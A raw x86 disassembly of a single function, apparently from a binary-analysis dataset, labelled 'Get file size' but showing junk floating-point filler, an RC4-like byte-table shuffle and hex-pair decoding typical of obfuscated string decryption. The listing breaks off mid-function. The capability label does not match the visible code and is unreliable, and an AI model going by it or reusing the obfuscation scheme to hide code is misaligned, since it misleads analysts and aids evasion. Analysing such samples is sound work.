Function at 0x4bb3b3
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x76c
push ebx
push esi
push edi
mov byte [ebp - 0x209], 0
xor eax, eax
mov word [ebp - 0x208], ax
push 0x206
push 0
lea eax, [ebp - 0x206]
push eax
call fcn.00937030
add esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 0x734], eax
lea eax, [ebp - 0x208]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x734]
mov ax, word [eax]
mov word [ebp - 0x73e], ax
mov eax, dword [ebp - 0x738]
mov cx, word [ebp - 0x73e]
mov word [eax], cx
mov eax, dword [ebp - 0x734]
inc eax
inc eax
mov dword [ebp - 0x734], eax
mov eax, dword [ebp - 0x738]
inc eax
inc eax
mov dword [ebp - 0x738], eax
cmp word [ebp - 0x73e], 0
jne 0x4bb406
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x744], eax
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x744]
mov ax, word [eax]
mov word [ebp - 0x74a], ax
add dword [ebp - 0x744], 2
cmp word [ebp - 0x74a], 0
jne 0x4bb464
mov eax, dword [ebp - 0x744]
sub eax, dword [ebp - 0x748]
mov ecx, dword [ebp - 0x748]
mov dword [ebp - 0x750], ecx
mov dword [ebp - 0x754], eax
lea eax, [ebp - 0x208]
dec eax
dec eax
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x758]
mov ax, word [eax + 2]
mov word [ebp - 0x75a], ax
add dword [ebp - 0x758], 2
cmp word [ebp - 0x75a], 0
jne 0x4bb4b1
mov edi, dword [ebp - 0x758]
mov esi, dword [ebp - 0x750]
mov eax, dword [ebp - 0x754]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and dword [ebp - 0x210], 0
jmp 0x4bb509
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x3c
jge 0x4bfb98
and dword [ebp - 0x218], 0
and dword [ebp - 0x234], 0
fldz
fstp qword [ebp - 0x220]
fldz
fstp qword [ebp - 0x240]
fldz
fstp qword [ebp - 0x240]
jmp 0x4bb550
fld qword [ebp - 0x240]
fadd qword [0x9a1b90]
fstp qword [ebp - 0x240]
fld qword [0x9a53d0]
fcomp qword [ebp - 0x240]
fnstsw ax
test ah, 0x41
jne 0x4bb5d9
fld qword [0x9a53c8]
fmul qword [ebp - 0x240]
fmul qword [ebp - 0x240]
fld qword [ebp - 0x240]
fmul qword [ebp - 0x240]
fsubp st(1)
fld qword [0x9a53c0]
fmul qword [ebp - 0x240]
fmul qword [ebp - 0x240]
fadd qword [0x9a53b8]
fdivp st(1)
fadd qword [ebp - 0x220]
fstp qword [ebp - 0x220]
fld qword [0x9a53b0]
fcomp qword [ebp - 0x220]
fnstsw ax
test ah, 5
jp 0x4bb5d4
fld qword [0x9a53a8]
fmul qword [ebp - 0x240]
fsubr qword [ebp - 0x220]
fstp qword [ebp - 0x220]
jmp 0x4bb53e
fldz
fcomp qword [ebp - 0x220]
fnstsw ax
test ah, 0x41
jne 0x4bb621
cmp byte [ebp + 0x2e], al
daa
push edx
outsd dx, dword [esi]
jae 0x4bb648
dec edx
sub dword [ebx], esi
sub al, 0x20
push ebx
inc ebp
imul esp, dword [ecx + 0x4b], 0x30
outsd dx, dword [esi]
pop ax
cmp dword [ebx], edi
dec esi
cmp ebx, dword [eax + esi - 0x7a]
xor eax, 0x338c3788
xchg byte [0x3e87328a], dh
xchg dword [esi], esi
xchg ebp, eax
cmp eax, 0x3d8a3a90
invalid
mov dword [ebp - 0x218], 0x4bb604
mov dword [ebp - 0x234], 0x4bb5e8
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x248], eax
mov byte [ebp - 0x369], 0x20
test dword [eax - 0x39000003], edi
test dword [edi + 0x20fffffc], edx
and dword [ebp - 0x360], 0
jmp 0x4bb66a
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x100
jae 0x4bb68b
mov eax, dword [ebp - 0x360]
mov cl, byte [ebp - 0x360]
mov byte [ebp + eax - 0x358], cl
jmp 0x4bb65d
and dword [ebp - 0x250], 0
mov byte [ebp - 0x36a], 0
mov dword [ebp - 0x360], 0xff
jmp 0x4bb6b2
mov eax, dword [ebp - 0x360]
dec eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0
jbe 0x4bb92c
and dword [ebp - 0x370], 0
mov dword [ebp - 0x378], 1
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x360]
jae 0x4bb6f0
mov eax, dword [ebp - 0x378]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x378], eax
jmp 0x4bb6d0
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x760], eax
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
je 0x4bb735
sub dword [ebp - 0x764], 1
je 0x4bb761
sub dword [ebp - 0x764], 1
je 0x4bb78d
sub dword [ebp - 0x764], 1
je 0x4bb7b9
jmp 0x4bb7e5
movzx eax, byte [ebp - 0x36a]
movzx ebx, byte [ebp + eax - 0x358]
fld qword [ebp - 0x220]
call fcn.00938626
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36a], bl
jmp 0x4bb80c
movzx eax, byte [ebp - 0x36a]
movzx ebx, byte [ebp + eax - 0x358]
fld qword [ebp - 0x220]
call fcn.00938626
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36a], bl
jmp 0x4bb80c
movzx eax, byte [ebp - 0x36a]
movzx ebx, byte [ebp + eax - 0x358]
fld qword [ebp - 0x220]
call fcn.00938626
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36a], bl
jmp 0x4bb80c
movzx eax, byte [ebp - 0x36a]
movzx ebx, byte [ebp + eax - 0x358]
fld qword [ebp - 0x220]
call fcn.00938626
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x36a], bl
jmp 0x4bb80c
movzx eax, byte [ebp - 0x36a]
movzx eax, byte [ebp + eax - 0x358]
mov ecx, dword [ebp - 0x248]
add ecx, dword [ebp - 0x250]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x36a], al
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
movzx eax, byte [ebp - 0x369]
cmp dword [ebp - 0x250], eax
jb 0x4bb845
and dword [ebp - 0x250], 0
movzx eax, byte [ebp - 0x369]
movzx ecx, byte [ebp - 0x36a]
add ecx, eax
mov byte [ebp - 0x36a], cl
movzx eax, byte [ebp - 0x36a]
and eax, dword [ebp - 0x378]
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0xb
jbe 0x4bb882
mov eax, dword [ebp - 0x374]
xor edx, edx
div dword [ebp - 0x360]
mov dword [ebp - 0x374], edx
mov eax, dword [ebp - 0x374]
cmp eax, dword [ebp - 0x360]
ja 0x4bb6f0
mov eax, dword [ebp - 0x360]
cmp eax, dword [ebp - 0x374]
je 0x4bb927
mov eax, dword [ebp - 0x374]
movzx eax, byte [ebp + eax - 0x358]
mov ecx, dword [ebp - 0x360]
movzx ecx, byte [ebp + ecx - 0x358]
xor ecx, eax
mov eax, dword [ebp - 0x360]
mov byte [ebp + eax - 0x358], cl
mov eax, dword [ebp - 0x360]
movzx eax, byte [ebp + eax - 0x358]
mov ecx, dword [ebp - 0x374]
movzx ecx, byte [ebp + ecx - 0x358]
xor ecx, eax
mov eax, dword [ebp - 0x374]
mov byte [ebp + eax - 0x358], cl
mov eax, dword [ebp - 0x374]
movzx eax, byte [ebp + eax - 0x358]
mov ecx, dword [ebp - 0x360]
movzx ecx, byte [ebp + ecx - 0x358]
xor ecx, eax
mov eax, dword [ebp - 0x360]
mov byte [ebp + eax - 0x358], cl
jmp 0x4bb6a5
mov al, byte [ebp - 0x357]
mov byte [ebp - 0x36b], al
mov al, byte [ebp - 0x355]
mov byte [ebp - 0x251], al
mov al, byte [ebp - 0x353]
mov byte [ebp - 0x359], al
mov al, byte [ebp - 0x351]
mov byte [ebp - 0x361], al
movzx eax, byte [ebp - 0x36a]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp - 0x241], al
mov dword [ebp - 0x368], 0x18
cmp dword [ebp - 0x368], 2
jle 0x4bd3a0
mov eax, dword [ebp - 0x368]
and eax, 1
jne 0x4bd3a0
and dword [ebp - 0x41c], 0
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
and dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x41c]
shl eax, 1
mov dword [ebp - 0x38c], eax
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x38c]
movzx eax, byte [eax]
add eax, dword [ebp - 0x464]
mov dword [ebp - 0x464], eax
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x3d4]
add eax, 0x30
mov dword [ebp - 0x3d4], eax
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x41c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x404], eax
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x404]
movzx eax, byte [eax]
add eax, dword [ebp - 0x490]
mov dword [ebp - 0x490], eax
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x460]
add eax, 0x86
mov dword [ebp - 0x460], eax
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x3d4]
add eax, dword [ebp - 0x48c]
mov dword [ebp - 0x48c], eax
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x460]
add eax, dword [ebp - 0x39c]
mov dword [ebp - 0x39c], eax
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x48c]
shl eax, 4
mov dword [ebp - 0x488], eax
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x45c], eax
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x488]
or eax, dword [ebp - 0x45c]
mov dword [ebp - 0x414], eax
mov byte [ebp - 0x3d5], 0
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x3d5], al
mov byte [ebp - 0x481], 0
movzx eax, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp - 0x481], al
movzx eax, byte [ebp - 0x36b]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x251]
add ecx, eax
mov byte [ebp - 0x251], cl
mov al, byte [ebp - 0x36b]
add al, 1
mov byte [ebp - 0x36b], al
movzx eax, byte [ebp - 0x251]
movzx ecx, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
fld qword [0x9a53a0]
fstp qword [ebp - 0x398]
fld qword [0x9a5398]
fstp qword [ebp - 0x458]
fld qword [0x9a5390]
fstp qword [ebp - 0x410]
fld qword [0x9a5388]
fstp qword [ebp - 0x3d0]
fld qword [ebp - 0x458]
fsub qword [ebp - 0x3d0]
fstp qword [ebp - 0x458]
fld qword [ebp - 0x398]
fmul qword [ebp - 0x3d0]
fstp qword [ebp - 0x398]
fld qword [ebp - 0x458]
fsub qword [ebp - 0x3d0]
fstp qword [ebp - 0x458]
fld qword [ebp - 0x458]
fmul qword [ebp - 0x3d0]
fstp qword [ebp - 0x458]
fld qword [ebp - 0x398]
fcomp qword [ebp - 0x3d0]
fnstsw ax
test ah, 0x41
jne 0x4bbc39
fld qword [ebp - 0x458]
fmul qword [ebp - 0x410]
fstp qword [ebp - 0x458]
fld qword [ebp - 0x410]
fmul qword [ebp - 0x3d0]
fstp qword [ebp - 0x410]
fld qword [ebp - 0x410]
fsub qword [ebp - 0x3d0]
fstp qword [ebp - 0x410]
fld qword [ebp - 0x458]
fsub qword [ebp - 0x410]
fstp qword [ebp - 0x458]
movzx eax, byte [ebp - 0x361]
movzx ecx, byte [ebp - 0x251]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
jmp 0x4bbd6e
fld qword [ebp - 0x398]
fadd qword [ebp - 0x458]
fstp qword [ebp - 0x398]
fld qword [ebp - 0x3d0]
fadd qword [ebp - 0x398]
fstp qword [ebp - 0x3d0]
fld qword [ebp - 0x398]
fsub qword [ebp - 0x458]
fstp qword [ebp - 0x398]
fld qword [ebp - 0x458]
fadd qword [ebp - 0x410]
fstp qword [ebp - 0x458]
fld qword [ebp - 0x3d0]
fdiv qword [ebp - 0x398]
fstp qword [ebp - 0x3d0]
fld qword [ebp - 0x410]
fdiv qword [ebp - 0x3d0]
fstp qword [ebp - 0x410]
fld qword [ebp - 0x410]
fmul qword [ebp - 0x3d0]
fstp qword [ebp - 0x410]
fld qword [ebp - 0x398]
fsub qword [ebp - 0x458]
fstp qword [ebp - 0x398]
fld qword [ebp - 0x410]
fcomp qword [ebp - 0x398]
fnstsw ax
test ah, 0x41
jne 0x4bbd26
fld qword [ebp - 0x398]
fadd qword [ebp - 0x458]
fstp qword [ebp - 0x398]
fld qword [ebp - 0x458]
fadd qword [ebp - 0x410]
fstp qword [ebp - 0x458]
fld qword [ebp - 0x3d0]
fsub qword [ebp - 0x398]
fstp qword [ebp - 0x3d0]
fld qword [ebp - 0x398]
fadd qword [ebp - 0x458]
fstp qword [ebp - 0x398]
jmp 0x4bbd6e
fld qword [ebp - 0x458]
fsub qword [ebp - 0x3d0]
fstp qword [ebp - 0x458]
fld qword [ebp - 0x458]
fadd qword [ebp - 0x3d0]
fstp qword [ebp - 0x458]
fld qword [ebp - 0x398]
fsub qword [ebp - 0x410]
fstp qword [ebp - 0x398]
fld qword [ebp - 0x3d0]
fadd qword [ebp - 0x458]
fstp qword [ebp - 0x3d0]
movzx eax, byte [ebp - 0x36b]
movzx ecx, byte [ebp - 0x361]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
mov cl, byte [ebp - 0x481]
mov byte [ebp + eax - 0x358], cl
movzx eax, byte [ebp - 0x481]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x359]
add ecx, eax
mov byte [ebp - 0x359], cl
movzx eax, byte [ebp - 0x3d5]
movzx ecx, byte [ebp - 0x251]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x36b]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
movzx ecx, byte [ebp - 0x361]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x241]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
movzx edx, byte [ebp - 0x359]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
mov byte [ebp - 0x361], al
mov al, byte [ebp - 0x3d5]
mov byte [ebp - 0x241], al
mov al, byte [ebp - 0x361]
mov byte [ebp - 0x449], al
cmp dword [ebp - 0x41c], 0
jle 0x4bbe76
mov eax, dword [ebp - 0x41c]
mov cl, byte [ebp - 0x449]
mov byte [ebp + eax - 0x231], cl
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x41c]
shl eax, 1
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x38c]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x3d4], 0x30
mov eax, dword [ebp - 0x41c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x404]
movzx eax, byte [eax]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x460], 0x86
fld qword [0x9a2a18]
fstp qword [ebp - 0x448]
fld qword [0x9a5380]
fstp qword [ebp - 0x400]
fld qword [0x9a5378]
fstp qword [ebp - 0x3c8]
fld qword [0x9a5370]
fstp qword [ebp - 0x388]
fld qword [0x9a5368]
fstp qword [ebp - 0x440]
fld qword [0x9a5360]
fstp qword [ebp - 0x3f8]
fld qword [0x9a3d60]
fstp qword [ebp - 0x3c0]
fld qword [ebp - 0x440]
fsub qword [ebp - 0x3c0]
fstp qword [ebp - 0x440]
fld qword [ebp - 0x388]
fmul qword [ebp - 0x3c0]
fstp qword [ebp - 0x388]
fld qword [ebp - 0x400]
fsub qword [ebp - 0x3c0]
fstp qword [ebp - 0x400]
fld qword [ebp - 0x388]
fsub qword [ebp - 0x3c0]
fstp qword [ebp - 0x388]
fld qword [ebp - 0x388]
fadd qword [ebp - 0x3c0]
fstp qword [ebp - 0x388]
fld qword [ebp - 0x388]
fadd qword [ebp - 0x3c0]
fstp qword [ebp - 0x388]
fld qword [ebp - 0x448]
fadd qword [ebp - 0x3c0]
fstp qword [ebp - 0x448]
fld qword [ebp - 0x388]
fcomp qword [ebp - 0x3c0]
fnstsw ax
test ah, 5
jp 0x4bc058
fld qword [ebp - 0x448]
fmul qword [ebp - 0x3c8]
fstp qword [ebp - 0x448]
fld qword [ebp - 0x388]
fdiv qword [ebp - 0x3f8]
fstp qword [ebp - 0x388]
fld qword [ebp - 0x440]
fmul qword [ebp - 0x3c0]
fstp qword [ebp - 0x440]
fld qword [ebp - 0x448]
fsub qword [ebp - 0x3c8]
fstp qword [ebp - 0x448]
fld qword [ebp - 0x3c0]
fmul qword [ebp - 0x400]
fstp qword [ebp - 0x3c0]
fld qword [ebp - 0x400]
fsub qword [ebp - 0x388]
fstp qword [ebp - 0x400]
fld qword [ebp - 0x3f8]
fmul qword [ebp - 0x448]
fstp qword [ebp - 0x3f8]
jmp 0x4bc0e8
fld qword [ebp - 0x3c8]
fsub qword [ebp - 0x388]
fstp qword [ebp - 0x3c8]
fld qword [ebp - 0x388]
fadd qword [ebp - 0x440]
fstp qword [ebp - 0x388]
fld qword [ebp - 0x400]
fadd qword [ebp - 0x3c8]
fstp qword [ebp - 0x400]
fld qword [ebp - 0x388]
fadd qword [ebp - 0x440]
fstp qword [ebp - 0x388]
fld qword [ebp - 0x3c0]
fadd qword [ebp - 0x448]
fstp qword [ebp - 0x3c0]
fld qword [ebp - 0x3f8]
fadd qword [ebp - 0x3c0]
fstp qword [ebp - 0x3f8]
fld qword [ebp - 0x440]
fmul qword [ebp - 0x3f8]
fstp qword [ebp - 0x440]
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x460]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x48c]
shl eax, 4
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x488]
or eax, dword [ebp - 0x45c]
mov dword [ebp - 0x414], eax
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x3d5], al
movzx eax, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp - 0x481], al
movzx eax, byte [ebp - 0x36b]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x251]
add ecx, eax
mov byte [ebp - 0x251], cl
mov al, byte [ebp - 0x36b]
add al, 1
mov byte [ebp - 0x36b], al
movzx eax, byte [ebp - 0x251]
movzx ecx, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
fld qword [0x9a5358]
fstp qword [ebp - 0x380]
fld qword [0x9a5350]
fstp qword [ebp - 0x438]
fld qword [0x9a5348]
fstp qword [ebp - 0x3f0]
fld qword [0x9a5340]
fstp qword [ebp - 0x3b8]
fld qword [0x9a5338]
fstp qword [ebp - 0x480]
fld qword [ebp - 0x380]
fsub qword [ebp - 0x480]
fstp qword [ebp - 0x380]
fld qword [ebp - 0x380]
fmul qword [ebp - 0x480]
fstp qword [ebp - 0x380]
fld qword [ebp - 0x3f0]
fadd qword [ebp - 0x480]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x3b8]
fsub qword [ebp - 0x480]
fstp qword [ebp - 0x3b8]
fld qword [ebp - 0x3f0]
fsub qword [ebp - 0x480]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x380]
fcomp qword [ebp - 0x3b8]
fnstsw ax
test ah, 0x41
jne 0x4bc2b3
fld qword [ebp - 0x3f0]
fadd qword [ebp - 0x3b8]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x480]
fsub qword [ebp - 0x380]
fstp qword [ebp - 0x480]
fld qword [ebp - 0x3f0]
fmul qword [ebp - 0x3b8]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x3b8]
fmul qword [ebp - 0x480]
fstp qword [ebp - 0x3b8]
fld qword [ebp - 0x380]
fmul qword [ebp - 0x438]
fstp qword [ebp - 0x380]
movzx eax, byte [ebp - 0x361]
movzx ecx, byte [ebp - 0x251]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
jmp 0x4bc430
fld qword [ebp - 0x3f0]
fdiv qword [ebp - 0x3b8]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x3f0]
fdiv qword [ebp - 0x3b8]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x380]
fdiv qword [ebp - 0x438]
fstp qword [ebp - 0x380]
fld qword [ebp - 0x3b8]
fdiv qword [ebp - 0x480]
fstp qword [ebp - 0x3b8]
fld qword [ebp - 0x380]
fsub qword [ebp - 0x438]
fstp qword [ebp - 0x380]
fld qword [ebp - 0x3f0]
fdiv qword [ebp - 0x3b8]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x480]
fsub qword [ebp - 0x380]
fstp qword [ebp - 0x480]
fld qword [ebp - 0x480]
fsub qword [ebp - 0x380]
fstp qword [ebp - 0x480]
fld qword [ebp - 0x438]
fadd qword [ebp - 0x3f0]
fstp qword [ebp - 0x438]
fld qword [ebp - 0x3b8]
fsub qword [ebp - 0x480]
fstp qword [ebp - 0x3b8]
fld qword [ebp - 0x380]
fcomp qword [ebp - 0x3b8]
fnstsw ax
test ah, 0x41
jne 0x4bc3d6
fld qword [ebp - 0x380]
fadd qword [ebp - 0x438]
fstp qword [ebp - 0x380]
fld qword [ebp - 0x3b8]
fadd qword [ebp - 0x480]
fstp qword [ebp - 0x3b8]
fld qword [ebp - 0x3f0]
fsub qword [ebp - 0x3b8]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x480]
fmul qword [ebp - 0x380]
fstp qword [ebp - 0x480]
fld qword [ebp - 0x438]
fadd qword [ebp - 0x3f0]
fstp qword [ebp - 0x438]
jmp 0x4bc430
fld qword [ebp - 0x480]
fdiv qword [ebp - 0x380]
fstp qword [ebp - 0x480]
fld qword [ebp - 0x480]
fsub qword [ebp - 0x380]
fstp qword [ebp - 0x480]
fld qword [ebp - 0x438]
fsub qword [ebp - 0x3f0]
fstp qword [ebp - 0x438]
fld qword [ebp - 0x3f0]
fmul qword [ebp - 0x3b8]
fstp qword [ebp - 0x3f0]
fld qword [ebp - 0x3b8]
fdiv qword [ebp - 0x480]
fstp qword [ebp - 0x3b8]
movzx eax, byte [ebp - 0x36b]
movzx ecx, byte [ebp - 0x361]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
mov cl, byte [ebp - 0x481]
mov byte [ebp + eax - 0x358], cl
movzx eax, byte [ebp - 0x481]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x359]
add ecx, eax
mov byte [ebp - 0x359], cl
movzx eax, byte [ebp - 0x3d5]
movzx ecx, byte [ebp - 0x251]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x36b]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
movzx ecx, byte [ebp - 0x361]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x241]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
movzx edx, byte [ebp - 0x359]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
mov byte [ebp - 0x361], al
mov al, byte [ebp - 0x3d5]
mov byte [ebp - 0x241], al
mov al, byte [ebp - 0x361]
mov byte [ebp - 0x449], al
cmp dword [ebp - 0x41c], 0
jle 0x4bc538
mov eax, dword [ebp - 0x41c]
mov cl, byte [ebp - 0x449]
mov byte [ebp + eax - 0x231], cl
mov eax, dword [ebp - 0x418]
add eax, 3
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x494], eax
jmp 0x4bc563
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x418]
jge 0x4bc7c0
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x41c]
shl eax, 1
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x38c]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x3d4], 0x30
mov eax, dword [ebp - 0x41c]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x404]
movzx eax, byte [eax]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x460], 0x86
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x460]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x48c]
shl eax, 4
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x488]
or eax, dword [ebp - 0x45c]
mov dword [ebp - 0x414], eax
mov al, byte [ebp - 0x414]
mov byte [ebp - 0x3d5], al
movzx eax, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp - 0x481], al
movzx eax, byte [ebp - 0x36b]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x251]
add ecx, eax
mov byte [ebp - 0x251], cl
mov al, byte [ebp - 0x36b]
add al, 1
mov byte [ebp - 0x36b], al
movzx eax, byte [ebp - 0x251]
movzx ecx, byte [ebp - 0x241]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x361]
movzx ecx, byte [ebp - 0x251]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
movzx ecx, byte [ebp - 0x361]
mov al, byte [ebp + eax - 0x358]
mov byte [ebp + ecx - 0x358], al
movzx eax, byte [ebp - 0x36b]
mov cl, byte [ebp - 0x481]
mov byte [ebp + eax - 0x358], cl
movzx eax, byte [ebp - 0x481]
movzx eax, byte [ebp + eax - 0x358]
movzx ecx, byte [ebp - 0x359]
add ecx, eax
mov byte [ebp - 0x359], cl
movzx eax, byte [ebp - 0x3d5]
movzx ecx, byte [ebp - 0x251]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x36b]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
movzx ecx, byte [ebp - 0x361]
movzx ecx, byte [ebp + ecx - 0x358]
movzx edx, byte [ebp - 0x241]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
movzx edx, byte [ebp - 0x359]
movzx edx, byte [ebp + edx - 0x358]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x358]
movzx ecx, byte [ebp + ecx - 0x358]
xor eax, ecx
mov byte [ebp - 0x361], al
mov al, byte [ebp - 0x3d5]
mov byte [ebp - 0x241], al
mov al, byte [ebp - 0x361]
mov byte [ebp - 0x449], al
cmp dword [ebp - 0x41c], 0
jle 0x4bc7bb
mov eax, dword [ebp - 0x41c]
mov cl, byte [ebp - 0x449]
mov byte [ebp + eax - 0x231], cl
jmp 0x4bc556
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x41c]
shl eax, 1
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x38c]
movzx eax, byte [eax]
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x3d4], 0x30
mov eax, dword [ebp - 0x41c]
lea eax, [eax + eax + 1]
